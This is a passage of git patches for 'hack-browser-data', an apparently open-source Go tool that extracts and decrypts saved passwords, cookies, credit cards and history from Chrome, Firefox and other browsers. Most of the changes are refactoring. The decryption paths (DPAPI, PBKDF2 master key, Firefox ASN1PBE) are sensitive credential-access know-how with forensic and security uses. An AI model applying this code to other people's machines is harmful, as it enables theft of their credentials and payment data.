rename {pkg => internal}/browser/browser_linux.go (100%)
rename {pkg => internal}/browser/browser_test.go (85%)
rename {pkg => internal}/browser/browser_windows.go (95%)
rename {pkg => internal}/browser/consts/filename.go (100%)
rename {pkg => internal}/browser/consts/sql.go (100%)
rename {pkg => internal}/browser/data/bookmark.go (96%)
rename {pkg => internal}/browser/data/browsingdata.go (100%)
rename {pkg => internal}/browser/data/cookie.go (95%)
rename {pkg => internal}/browser/data/creditcard.go (93%)
rename {pkg => internal}/browser/data/download.go (96%)
rename {pkg => internal}/browser/data/history.go (96%)
rename {pkg => internal}/browser/data/password.go (87%)
rename {pkg => internal}/browser/item.go (84%)
rename {pkg => internal}/browser/outputter/outputter.go (97%)
rename pkg/decrypter/decrypt.go => internal/decrypter/decrypter.go (100%)
rename pkg/decrypter/decrypt_darwin.go => internal/decrypter/decrypter_darwin.go (100%)
rename pkg/decrypter/decrypt_linux.go => internal/decrypter/decrypter_linux.go (100%)
rename pkg/decrypter/decrypt_windows.go => internal/decrypter/decrypter_windows.go (100%)
rename {pkg => internal}/log/log.go (100%)
rename {utils => internal/utils}/utils.go (98%)
diff --git a/cmd/cmd.go b/cmd/cmd.go
index 6b06e4a..0630b02 100644
--- a/cmd/cmd.go
+++ b/cmd/cmd.go
@@ -5,11 +5,11 @@ import (
"os"
"strings"
- "hack-browser-data/pkg/browser"
- "hack-browser-data/pkg/browser/outputter"
- "hack-browser-data/pkg/log"
-
"github.com/urfave/cli/v2"
+
+ "hack-browser-data/internal/browser"
+ "hack-browser-data/internal/browser/outputter"
+ "hack-browser-data/internal/log"
)
var (
@@ -26,7 +26,7 @@ func Execute() {
Name: "hack-browser-data",
Usage: "Export passwords/cookies/history/bookmarks from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\n Get all data(password/cookie/history/bookmark) from chrome",
- Version: "0.3.7",
+ Version: "0.3.8",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
@@ -46,7 +46,7 @@ func Execute() {
} else {
log.InitLog("error")
}
- browsers = browser.PickBrowsers(browserName)
+ browsers = browser.PickBrowser(browserName)
output := outputter.NewOutPutter(outputFormat)
if err := output.MakeDir(exportDir); err != nil {
diff --git a/core/browser.go b/core/browser.go
index 4ab36ab..51c46d8 100644
--- a/core/browser.go
+++ b/core/browser.go
@@ -8,7 +8,7 @@ import (
"strings"
"hack-browser-data/core/data"
- "hack-browser-data/pkg/log"
+ "hack-browser-data/internal/log"
)
const (
diff --git a/core/browser_linux.go b/core/browser_linux.go
index 6d2a264..7af68ac 100644
--- a/core/browser_linux.go
+++ b/core/browser_linux.go
@@ -7,7 +7,7 @@ import (
keyring "github.com/ppacher/go-dbus-keyring"
"golang.org/x/crypto/pbkdf2"
- "hack-browser-data/pkg/log"
+ "hack-browser-data/internal/log"
)
const (
diff --git a/core/browser_windows.go b/core/browser_windows.go
index faa8d81..3a6381f 100644
--- a/core/browser_windows.go
+++ b/core/browser_windows.go
@@ -7,7 +7,7 @@ import (
"os"
"hack-browser-data/core/decrypt"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/utils"
"github.com/tidwall/gjson"
)
diff --git a/core/data/output.go b/core/data/output.go
index 10cd42b..5565c4b 100644
--- a/core/data/output.go
+++ b/core/data/output.go
@@ -7,9 +7,9 @@ import (
"os"
"sort"
- "hack-browser-data/utils"
-
"github.com/jszwec/csvutil"
+
+ "hack-browser-data/internal/utils"
)
var (
diff --git a/core/data/parse.go b/core/data/parse.go
index de51608..632d19f 100644
--- a/core/data/parse.go
+++ b/core/data/parse.go
@@ -12,8 +12,8 @@ import (
"time"
"hack-browser-data/core/decrypt"
- "hack-browser-data/pkg/log"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/log"
+ "hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
diff --git a/pkg/browser/browser.go b/internal/browser/browser.go
similarity index 80%
rename from pkg/browser/browser.go
rename to internal/browser/browser.go
index b34a777..0b2961d 100644
--- a/pkg/browser/browser.go
+++ b/internal/browser/browser.go
@@ -9,7 +9,7 @@ import (
"path/filepath"
"strings"
- "hack-browser-data/pkg/browser/data"
+ "hack-browser-data/internal/browser/data"
)
type Browser interface {
@@ -27,16 +27,16 @@ var (
homeDir, _ = os.UserHomeDir()
)
-func PickBrowsers(name string) []Browser {
+func PickBrowser(name string) []Browser {
var browsers []Browser
- chromiumList := pickChromium(name)
- for _, b := range chromiumList {
+ clist := pickChromium(name)
+ for _, b := range clist {
if b != nil {
browsers = append(browsers, b)
}
}
- firefoxList := pickFirefox(name)
- for _, b := range firefoxList {
+ flist := pickFirefox(name)
+ for _, b := range flist {
if b != nil {
browsers = append(browsers, b)
}
@@ -49,11 +49,14 @@ func pickChromium(name string) []Browser {
name = strings.ToLower(name)
if name == "all" {
for _, choice := range chromiumList {
- b, err := newChromium(choice.browserInfo, choice.items)
- if err != nil {
+ if b, err := newChromium(choice.browserInfo, choice.items); err == nil {
+ browsers = append(browsers, b)
+ } else {
+ if strings.Contains(err.Error(), "profile path is not exist") {
+ continue
+ }
panic(err)
}
- browsers = append(browsers, b)
}
return browsers
}
@@ -72,8 +75,8 @@ func pickFirefox(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
- for _, v := range firefoxList {
- multiFirefox, err := newMultiFirefox(v.browserInfo, v.items)
+ for _, b := range firefoxList {
+ multiFirefox, err := newMultiFirefox(b.browserInfo, b.items)
if err != nil {
panic(err)
}
@@ -163,6 +166,10 @@ func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
}
multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
if err != nil {
+ if strings.Contains(err.Error(), "profile path is not exist") {
+ fmt.Println(err)
+ return nil, nil
+ }
panic(err)
}
var firefoxList []*firefox
@@ -182,6 +189,10 @@ func newMultiFirefox(info *browserInfo, items []item) ([]*firefox, error) {
func getFirefoxItemAbsPath(profilePath string, items []item) (map[string]map[item]string, error) {
var multiItemPaths = make(map[string]map[item]string)
absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
+ // TODO: Handle read file error
+ if !isFileExist(absProfilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
+ }
err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
return multiItemPaths, err
}
@@ -250,6 +261,10 @@ func chromiumWalkFunc(items []item, itemPaths map[item]string) filepath.WalkFunc
func getChromiumItemAbsPath(profilePath string, items []item) (map[item]string, error) {
var itemPaths = make(map[item]string)
absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
+ // TODO: Handle file path is not exist
+ if !isFileExist(absProfilePath) {
+ return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
+ }
err := filepath.Walk(absProfilePath, chromiumWalkFunc(items, itemPaths))
return itemPaths, err
}
@@ -272,6 +287,7 @@ func (f *firefox) GetBrowsingData() []data.BrowsingData {
}
return browsingData
}
+
func ListBrowser() []string {
var l []string
for c := range chromiumList {
@@ -283,6 +299,13 @@ func ListBrowser() []string {
return l
}
+func isFileExist(path string) bool {
+ if _, err := os.Stat(path); os.IsNotExist(err) {
+ return false
+ }
+ return true
+}
+
type browserInfo struct {
name string
storage string
@@ -291,10 +314,23 @@ type browserInfo struct {
}
const (
- chromeName = "Chrome"
- edgeName = "Edge"
- firefoxName = "Firefox"
- yandexName = "Yandex"
+ chromeName = "Chrome"
+ chromeBetaName = "Chrome Beta"
+ chromiumName = "Chromium"
+ edgeName = "Microsoft Edge"
+ firefoxName = "Firefox"
+ firefoxBetaName = "Firefox Beta"
+ firefoxDevName = "Firefox Dev"
+ firefoxNightlyName = "Firefox Nightly"
+ firefoxESRName = "Firefox ESR"
+ speed360Name = "360speed"
+ qqBrowserName = "QQ"
+ braveName = "Brave"
+ operaName = "Opera"
+ operaGXName = "OperaGX"
+ vivaldiName = "Vivaldi"
+ coccocName = "CocCoc"
+ yandexName = "Yandex"
)
var defaultFirefoxItems = []item{
diff --git a/pkg/browser/browser_darwin.go b/internal/browser/browser_darwin.go
similarity index 60%
rename from pkg/browser/browser_darwin.go
rename to internal/browser/browser_darwin.go
index 2a167d8..9c3ae12 100644
--- a/pkg/browser/browser_darwin.go
+++ b/internal/browser/browser_darwin.go
@@ -13,7 +13,6 @@ var (
chromiumList = map[string]struct {
browserInfo *browserInfo
items []item
- // New func(browser *browserInfo, items []item) *firefox
}{
"chrome": {
browserInfo: chromeInfo,
@@ -23,6 +22,38 @@ var (
browserInfo: edgeInfo,
items: defaultChromiumItems,
},
+ "chromium": {
+ browserInfo: chromiumInfo,
+ items: defaultChromiumItems,
+ },
+ "chrome-beta": {
+ browserInfo: chromeBetaInfo,
+ items: defaultChromiumItems,
+ },
+ "opera": {
+ browserInfo: operaInfo,
+ items: defaultChromiumItems,
+ },
+ "opera-gx": {
+ browserInfo: operaGXInfo,
+ items: defaultChromiumItems,
+ },
+ "vivaldi": {
+ browserInfo: vivaldiInfo,
+ items: defaultChromiumItems,
+ },
+ "coccoc": {
+ browserInfo: coccocInfo,
+ items: defaultChromiumItems,
+ },
+ "brave": {
+ browserInfo: braveInfo,
+ items: defaultChromiumItems,
+ },
+ "yandex": {
+ browserInfo: yandexInfo,
+ items: defaultYandexItems,
+ },
}
firefoxList = map[string]struct {
browserInfo *browserInfo
@@ -63,27 +94,13 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
- c.browserInfo.masterKey = key
- return key, nil
+ if key != nil {
+ c.browserInfo.masterKey = key
+ return key, nil
+ }
+ return nil, errors.New("macOS wrong security command")
}
-var (
- chromeInfo = &browserInfo{
- name: chromeName,
- storage: chromeStorageName,
- profilePath: chromeProfilePath,
- }
- edgeInfo = &browserInfo{
- name: edgeName,
- storage: edgeStorageName,
- profilePath: edgeProfilePath,
- }
- firefoxInfo = &browserInfo{
- name: firefoxName,
- profilePath: firefoxProfilePath,
- }
-)
-
const (
chromeProfilePath = "/Library/Application Support/Google/Chrome/"
chromeBetaProfilePath = "/Library/Application Support/Google/Chrome Beta/"
@@ -110,3 +127,60 @@ const (
coccocStorageName = "CocCoc"
yandexStorageName = "Yandex"
)
+
+var (
+ chromeInfo = &browserInfo{
+ name: chromeName,
+ storage: chromeStorageName,
+ profilePath: chromeProfilePath,
+ }
+ chromiumInfo = &browserInfo{
+ name: chromiumName,
+ storage: chromiumStorageName,
+ profilePath: chromiumProfilePath,
+ }
+ chromeBetaInfo = &browserInfo{
+ name: chromeBetaName,
+ storage: chromeBetaStorageName,
+ profilePath: chromeBetaProfilePath,
+ }
+ operaInfo = &browserInfo{
+ name: operaName,
+ profilePath: operaProfilePath,
+ storage: operaStorageName,
+ }
+ operaGXInfo = &browserInfo{
+ name: operaGXName,
+ profilePath: operaGXProfilePath,
+ storage: operaStorageName,
+ }
+ edgeInfo = &browserInfo{
+ name: edgeName,
+ storage: edgeStorageName,
+ profilePath: edgeProfilePath,
+ }
+ braveInfo = &browserInfo{
+ name: braveName,
+ profilePath: braveProfilePath,
+ storage: braveStorageName,
+ }
+ vivaldiInfo = &browserInfo{
+ name: vivaldiName,
+ storage: vivaldiStorageName,
+ profilePath: vivaldiProfilePath,
+ }
+ coccocInfo = &browserInfo{
+ name: coccocName,
+ storage: coccocStorageName,
+ profilePath: coccocProfilePath,
+ }
+ yandexInfo = &browserInfo{
+ name: yandexName,
+ storage: yandexStorageName,
+ profilePath: yandexProfilePath,
+ }
+ firefoxInfo = &browserInfo{
+ name: firefoxName,
+ profilePath: firefoxProfilePath,
+ }
+)
diff --git a/pkg/browser/browser_linux.go b/internal/browser/browser_linux.go
similarity index 100%
rename from pkg/browser/browser_linux.go
rename to internal/browser/browser_linux.go
diff --git a/pkg/browser/browser_test.go b/internal/browser/browser_test.go
similarity index 85%
rename from pkg/browser/browser_test.go
rename to internal/browser/browser_test.go
index f19eb61..47ebf56 100644
--- a/pkg/browser/browser_test.go
+++ b/internal/browser/browser_test.go
@@ -4,8 +4,8 @@ import (
"fmt"
"testing"
- "hack-browser-data/pkg/browser/outputter"
- "hack-browser-data/pkg/log"
+ "hack-browser-data/internal/browser/outputter"
+ "hack-browser-data/internal/log"
)
func TestPickChromium(t *testing.T) {
@@ -44,6 +44,16 @@ func TestPickChromium(t *testing.T) {
}
}
+func TestPickBrowsers(t *testing.T) {
+ browsers := PickBrowser("all")
+ for _, v := range browsers {
+ fmt.Println(v.GetName())
+ }
+ // filetype := "json"
+ // dir := "result"
+ // output := outputter.NewOutPutter(filetype)
+}
+
func TestPickFirefox(t *testing.T) {
browsers := pickFirefox("all")
filetype := "json"
diff --git a/pkg/browser/browser_windows.go b/internal/browser/browser_windows.go
similarity index 95%
rename from pkg/browser/browser_windows.go
rename to internal/browser/browser_windows.go
index e092d48..ab78bda 100644
--- a/pkg/browser/browser_windows.go
+++ b/internal/browser/browser_windows.go
@@ -6,9 +6,9 @@ import (
"github.com/tidwall/gjson"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/pkg/decrypter"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/utils"
)
var (
diff --git a/pkg/browser/consts/filename.go b/internal/browser/consts/filename.go
similarity index 100%
rename from pkg/browser/consts/filename.go
rename to internal/browser/consts/filename.go
diff --git a/pkg/browser/consts/sql.go b/internal/browser/consts/sql.go
similarity index 100%
rename from pkg/browser/consts/sql.go
rename to internal/browser/consts/sql.go
diff --git a/pkg/browser/data/bookmark.go b/internal/browser/data/bookmark.go
similarity index 96%
rename from pkg/browser/data/bookmark.go
rename to internal/browser/data/bookmark.go
index 9c66dda..1da37fe 100644
--- a/pkg/browser/data/bookmark.go
+++ b/internal/browser/data/bookmark.go
@@ -7,8 +7,8 @@ import (
"github.com/tidwall/gjson"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/utils"
)
type ChromiumBookmark []bookmark
diff --git a/pkg/browser/data/browsingdata.go b/internal/browser/data/browsingdata.go
similarity index 100%
rename from pkg/browser/data/browsingdata.go
rename to internal/browser/data/browsingdata.go
diff --git a/pkg/browser/data/cookie.go b/internal/browser/data/cookie.go
similarity index 95%
rename from pkg/browser/data/cookie.go
rename to internal/browser/data/cookie.go
index 4e528db..3a9183a 100644
--- a/pkg/browser/data/cookie.go
+++ b/internal/browser/data/cookie.go
@@ -5,9 +5,9 @@ import (
"fmt"
"sort"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/pkg/decrypter"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
)
diff --git a/pkg/browser/data/creditcard.go b/internal/browser/data/creditcard.go
similarity index 93%
rename from pkg/browser/data/creditcard.go
rename to internal/browser/data/creditcard.go
index da078d4..a279db1 100644
--- a/pkg/browser/data/creditcard.go
+++ b/internal/browser/data/creditcard.go
@@ -4,10 +4,10 @@ import (
"database/sql"
"fmt"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/pkg/decrypter"
-
_ "github.com/mattn/go-sqlite3"
+
+ "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/decrypter"
)
type ChromiumCreditCard []card
diff --git a/pkg/browser/data/download.go b/internal/browser/data/download.go
similarity index 96%
rename from pkg/browser/data/download.go
rename to internal/browser/data/download.go
index c4546d7..6b1e11a 100644
--- a/pkg/browser/data/download.go
+++ b/internal/browser/data/download.go
@@ -8,8 +8,8 @@ import (
"github.com/tidwall/gjson"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
)
diff --git a/pkg/browser/data/history.go b/internal/browser/data/history.go
similarity index 96%
rename from pkg/browser/data/history.go
rename to internal/browser/data/history.go
index 5450f79..dbd1451 100644
--- a/pkg/browser/data/history.go
+++ b/internal/browser/data/history.go
@@ -5,8 +5,8 @@ import (
"fmt"
"sort"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/browser/consts"
+ "hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
)
diff --git a/pkg/browser/data/password.go b/internal/browser/data/password.go
similarity index 87%
rename from pkg/browser/data/password.go
rename to internal/browser/data/password.go
index 351b4ea..fef3aab 100644
--- a/pkg/browser/data/password.go
+++ b/internal/browser/data/password.go
@@ -9,9 +9,9 @@ import (
"sort"
"time"
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/pkg/decrypter"
- "hack-browser-data/utils"
+ "hack-browser-data/internal/browser/consts"
+ decrypter2 "hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
@@ -47,12 +47,12 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
}
if len(pwd) > 0 {
if masterKey == nil {
- password, err = decrypter.DPApi(pwd)
+ password, err = decrypter2.DPApi(pwd)
if err != nil {
fmt.Println(err)
}
} else {
- password, err = decrypter.ChromePass(masterKey, pwd)
+ password, err = decrypter2.ChromePass(masterKey, pwd)
if err != nil {
fmt.Println(err)
}
@@ -84,7 +84,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
- metaPBE, err := decrypter.NewASN1PBE(metaBytes)
+ metaPBE, err := decrypter2.NewASN1PBE(metaBytes)
if err != nil {
return err
}
@@ -97,7 +97,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if bytes.Contains(k, []byte("password-check")) {
m := bytes.Compare(nssA102, keyLin)
if m == 0 {
- nssPBE, err := decrypter.NewASN1PBE(nssA11)
+ nssPBE, err := decrypter2.NewASN1PBE(nssA11)
if err != nil {
return err
}
@@ -111,11 +111,11 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
return err
}
for _, v := range allLogin {
- userPBE, err := decrypter.NewASN1PBE(v.encryptUser)
+ userPBE, err := decrypter2.NewASN1PBE(v.encryptUser)
if err != nil {
return err
}
- pwdPBE, err := decrypter.NewASN1PBE(v.encryptPass)
+ pwdPBE, err := decrypter2.NewASN1PBE(v.encryptPass)
if err != nil {
return err
}
@@ -129,8 +129,8 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
}
*f = append(*f, loginData{
LoginUrl: v.LoginUrl,
- UserName: string(decrypter.PKCS5UnPadding(user)),
- Password: string(decrypter.PKCS5UnPadding(pwd)),
+ UserName: string(decrypter2.PKCS5UnPadding(user)),
+ Password: string(decrypter2.PKCS5UnPadding(pwd)),
CreateDate: v.CreateDate,
})
}
diff --git a/pkg/browser/item.go b/internal/browser/item.go
similarity index 84%
rename from pkg/browser/item.go
rename to internal/browser/item.go
index 3f7968f..8030a1f 100644
--- a/pkg/browser/item.go
+++ b/internal/browser/item.go
@@ -1,8 +1,8 @@
package browser
import (
- "hack-browser-data/pkg/browser/consts"
- "hack-browser-data/pkg/browser/data"
+ "hack-browser-data/internal/browser/consts"
+ data2 "hack-browser-data/internal/browser/data"
)
type item int
@@ -126,40 +126,40 @@ func (i item) FileName() string {
}
}
-func (i item) NewBrowsingData() data.BrowsingData {
+func (i item) NewBrowsingData() data2.BrowsingData {
switch i {
case chromiumKey:
return nil
case chromiumPassword:
- return &data.ChromiumPassword{}
+ return &data2.ChromiumPassword{}
case chromiumCookie:
- return &data.ChromiumCookie{}
+ return &data2.ChromiumCookie{}
case chromiumBookmark:
- return &data.ChromiumBookmark{}
+ return &data2.ChromiumBookmark{}
case chromiumDownload:
- return &data.ChromiumDownload{}
+ return &data2.ChromiumDownload{}
case chromiumLocalStorage:
return nil
case chromiumCreditCard:
- return &data.ChromiumCreditCard{}
+ return &data2.ChromiumCreditCard{}
case chromiumExtension:
return nil
case chromiumHistory:
- return &data.ChromiumHistory{}
+ return &data2.ChromiumHistory{}
case yandexPassword:
- return &data.ChromiumPassword{}
+ return &data2.ChromiumPassword{}
case yandexCreditCard:
- return &data.ChromiumCreditCard{}
+ return &data2.ChromiumCreditCard{}
case firefoxPassword:
- return &data.FirefoxPassword{}
+ return &data2.FirefoxPassword{}
case firefoxCookie:
- return &data.FirefoxCookie{}
+ return &data2.FirefoxCookie{}
case firefoxBookmark:
- return &data.FirefoxBookmark{}
+ return &data2.FirefoxBookmark{}
case firefoxDownload:
- return &data.FirefoxDownload{}
+ return &data2.FirefoxDownload{}
case firefoxHistory:
- return &data.FirefoxHistory{}
+ return &data2.FirefoxHistory{}
default:
return nil
}
diff --git a/pkg/browser/outputter/outputter.go b/internal/browser/outputter/outputter.go
similarity index 97%
rename from pkg/browser/outputter/outputter.go
rename to internal/browser/outputter/outputter.go
index e330254..355cf08 100644
--- a/pkg/browser/outputter/outputter.go
+++ b/internal/browser/outputter/outputter.go
@@ -10,7 +10,7 @@ import (
"github.com/gocarina/gocsv"
jsoniter "github.com/json-iterator/go"
- "hack-browser-data/pkg/browser/data"
+ "hack-browser-data/internal/browser/data"
)
type outPutter struct {
diff --git a/pkg/decrypter/decrypt.go b/internal/decrypter/decrypter.go
similarity index 100%
rename from pkg/decrypter/decrypt.go
rename to internal/decrypter/decrypter.go
diff --git a/pkg/decrypter/decrypt_darwin.go b/internal/decrypter/decrypter_darwin.go
similarity index 100%
rename from pkg/decrypter/decrypt_darwin.go
rename to internal/decrypter/decrypter_darwin.go
diff --git a/pkg/decrypter/decrypt_linux.go b/internal/decrypter/decrypter_linux.go
similarity index 100%
rename from pkg/decrypter/decrypt_linux.go
rename to internal/decrypter/decrypter_linux.go
diff --git a/pkg/decrypter/decrypt_windows.go b/internal/decrypter/decrypter_windows.go
similarity index 100%
rename from pkg/decrypter/decrypt_windows.go
rename to internal/decrypter/decrypter_windows.go
diff --git a/pkg/log/log.go b/internal/log/log.go
similarity index 100%
rename from pkg/log/log.go
rename to internal/log/log.go
diff --git a/utils/utils.go b/internal/utils/utils.go
similarity index 98%
rename from utils/utils.go
rename to internal/utils/utils.go
index e67d9c8..9b2e98c 100644
--- a/utils/utils.go
+++ b/internal/utils/utils.go
@@ -10,7 +10,7 @@ import (
"strings"
"time"
- "hack-browser-data/pkg/log"
+ "hack-browser-data/internal/log"
)
const Prefix = "[x]: "
From 1c8122096725b0334ae15ad9798a67cb1ff55958 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Fri, 1 Apr 2022 15:00:56 +0800
Subject: [PATCH 11/33] feat: format project layout
---
core/browser.go | 374 ---------
core/browser_darwin.go | 165 ----
core/browser_linux.go | 167 ----
core/browser_windows.go | 178 -----
core/data/output.go | 224 ------
core/data/parse.go | 1011 -------------------------
core/decrypt/decrypt.go | 214 ------
core/decrypt/decrypt_darwin.go | 17 -
core/decrypt/decrypt_linux.go | 17 -
core/decrypt/decrypt_windows.go | 70 --
go.mod | 12 +-
internal/browser/browser.go | 121 ++-
internal/browser/browser_darwin.go | 6 +-
internal/browser/browser_test.go | 9 +
internal/browser/browser_windows.go | 8 +-
internal/browser/chromium/chromium.go | 108 +++
internal/browser/consts/filename.go | 47 --
internal/browser/consts/sql.go | 1 -
internal/browser/data/bookmark.go | 7 +-
internal/browser/data/cookie.go | 6 +-
internal/browser/data/creditcard.go | 4 +-
internal/browser/data/download.go | 6 +-
internal/browser/data/history.go | 6 +-
internal/browser/data/password.go | 8 +-
internal/browser/firefox/firefox.go | 1 +
internal/browser/item.go | 166 ----
internal/browser/item/filename.go | 47 ++
internal/browser/item/item.go | 165 ++++
internal/browser/item/sql.go | 1 +
29 files changed, 420 insertions(+), 2746 deletions(-)
delete mode 100644 core/browser.go
delete mode 100644 core/browser_darwin.go
delete mode 100644 core/browser_linux.go
delete mode 100644 core/browser_windows.go
delete mode 100644 core/data/output.go
delete mode 100644 core/data/parse.go
delete mode 100644 core/decrypt/decrypt.go
delete mode 100644 core/decrypt/decrypt_darwin.go
delete mode 100644 core/decrypt/decrypt_linux.go
delete mode 100644 core/decrypt/decrypt_windows.go
create mode 100644 internal/browser/chromium/chromium.go
delete mode 100644 internal/browser/consts/filename.go
delete mode 100644 internal/browser/consts/sql.go
create mode 100644 internal/browser/firefox/firefox.go
delete mode 100644 internal/browser/item.go
create mode 100644 internal/browser/item/filename.go
create mode 100644 internal/browser/item/item.go
create mode 100644 internal/browser/item/sql.go
diff --git a/core/browser.go b/core/browser.go
deleted file mode 100644
index 51c46d8..0000000
--- a/core/browser.go
+++ /dev/null
@@ -1,374 +0,0 @@
-package core
-
-import (
- "errors"
- "fmt"
- "os"
- "path/filepath"
- "strings"
-
- "hack-browser-data/core/data"
- "hack-browser-data/internal/log"
-)
-
-const (
- chromeName = "Chrome"
- chromeBetaName = "Chrome Beta"
- chromiumName = "Chromium"
- edgeName = "Microsoft Edge"
- firefoxName = "Firefox"
- firefoxBetaName = "Firefox Beta"
- firefoxDevName = "Firefox Dev"
- firefoxNightlyName = "Firefox Nightly"
- firefoxESRName = "Firefox ESR"
- speed360Name = "360speed"
- qqBrowserName = "qq"
- braveName = "Brave"
- operaName = "Opera"
- operaGXName = "OperaGX"
- vivaldiName = "Vivaldi"
- coccocName = "CocCoc"
- yandexName = "Yandex"
-)
-
-type Browser interface {
- // InitSecretKey is init chrome secret key, firefox's key always empty
- InitSecretKey() error
-
- // GetName return browser name
- GetName() string
-
- // GetSecretKey return browser secret key
- GetSecretKey() []byte
-
- // GetAllItems return all items (password|bookmark|cookie|history)
- GetAllItems() ([]data.Item, error)
-
- // GetItem return single one from the password|bookmark|cookie|history
- GetItem(itemName string) (data.Item, error)
-}
-
-const (
- cookie = "cookie"
- history = "history"
- bookmark = "bookmark"
- download = "download"
- password = "password"
- creditcard = "creditcard"
-)
-
-var (
- errItemNotSupported = errors.New(`item not supported, default is "all", choose from history|download|password|bookmark|cookie`)
- errBrowserNotSupported = errors.New("browser not supported")
- errChromeSecretIsEmpty = errors.New("chrome secret is empty")
- errDbusSecretIsEmpty = errors.New("dbus secret key is empty")
-)
-
-var (
- chromiumItems = map[string]struct {
- mainFile string
- newItem func(mainFile, subFile string) data.Item
- }{
- bookmark: {
- mainFile: data.ChromeBookmarkFile,
- newItem: data.NewBookmarks,
- },
- cookie: {
- mainFile: data.ChromeCookieFile,
- newItem: data.NewCookies,
- },
- history: {
- mainFile: data.ChromeHistoryFile,
- newItem: data.NewHistoryData,
- },
- download: {
- mainFile: data.ChromeDownloadFile,
- newItem: data.NewDownloads,
- },
- password: {
- mainFile: data.ChromePasswordFile,
- newItem: data.NewCPasswords,
- },
- creditcard: {
- mainFile: data.ChromeCreditFile,
- newItem: data.NewCCards,
- },
- }
- firefoxItems = map[string]struct {
- mainFile string
- subFile string
- newItem func(mainFile, subFile string) data.Item
- }{
- bookmark: {
- mainFile: data.FirefoxDataFile,
- newItem: data.NewBookmarks,
- },
- cookie: {
- mainFile: data.FirefoxCookieFile,
- newItem: data.NewCookies,
- },
- history: {
- mainFile: data.FirefoxDataFile,
- newItem: data.NewHistoryData,
- },
- download: {
- mainFile: data.FirefoxDataFile,
- newItem: data.NewDownloads,
- },
- password: {
- mainFile: data.FirefoxKey4File,
- subFile: data.FirefoxLoginFile,
- newItem: data.NewFPasswords,
- },
- }
-)
-
-type Chromium struct {
- name string
- profilePath string
- keyPath string
- storage string // storage use for linux and macOS, get secret key
- secretKey []byte
-}
-
-// NewChromium return Chromium browser interface
-func NewChromium(profile, key, name, storage string) (Browser, error) {
- return &Chromium{profilePath: profile, keyPath: key, name: name, storage: storage}, nil
-}
-
-func (c *Chromium) GetName() string {
- return c.name
-}
-
-func (c *Chromium) GetSecretKey() []byte {
- return c.secretKey
-}
-
-// GetAllItems return all chromium items from browser
-// if can't find the item path, log error then continue
-func (c *Chromium) GetAllItems() ([]data.Item, error) {
- var items []data.Item
- for item, choice := range chromiumItems {
- m, err := getItemPath(c.profilePath, choice.mainFile)
- if err != nil {
- log.Debugf("%s find %s file failed, ERR:%s", c.name, item, err)
- continue
- }
- i := choice.newItem(m, "")
- log.Debugf("%s find %s File Success", c.name, item)
- items = append(items, i)
- }
- return items, nil
-}
-
-// GetItem return single item
-func (c *Chromium) GetItem(itemName string) (data.Item, error) {
- itemName = strings.ToLower(itemName)
- if item, ok := chromiumItems[itemName]; ok {
- m, err := getItemPath(c.profilePath, item.mainFile)
- if err != nil {
- log.Debugf("%s find %s file failed, ERR:%s", c.name, item.mainFile, err)
- }
- i := item.newItem(m, "")
- return i, nil
- } else {
- return nil, errItemNotSupported
- }
-}
-
-type Firefox struct {
- name string
- profilePath string
- keyPath string
-}
-
-// NewFirefox return firefox browser interface
-func NewFirefox(profile, key, name, storage string) (Browser, error) {
- return &Firefox{profilePath: profile, keyPath: key, name: name}, nil
-}
-
-// GetAllItems return all item with firefox
-func (f *Firefox) GetAllItems() ([]data.Item, error) {
- var items []data.Item
- for item, choice := range firefoxItems {
- var (
- sub, main string
- err error
- )
- if choice.subFile != "" {
- sub, err = getItemPath(f.profilePath, choice.subFile)
- if err != nil {
- log.Debugf("%s find %s file failed, ERR:%s", f.name, item, err)
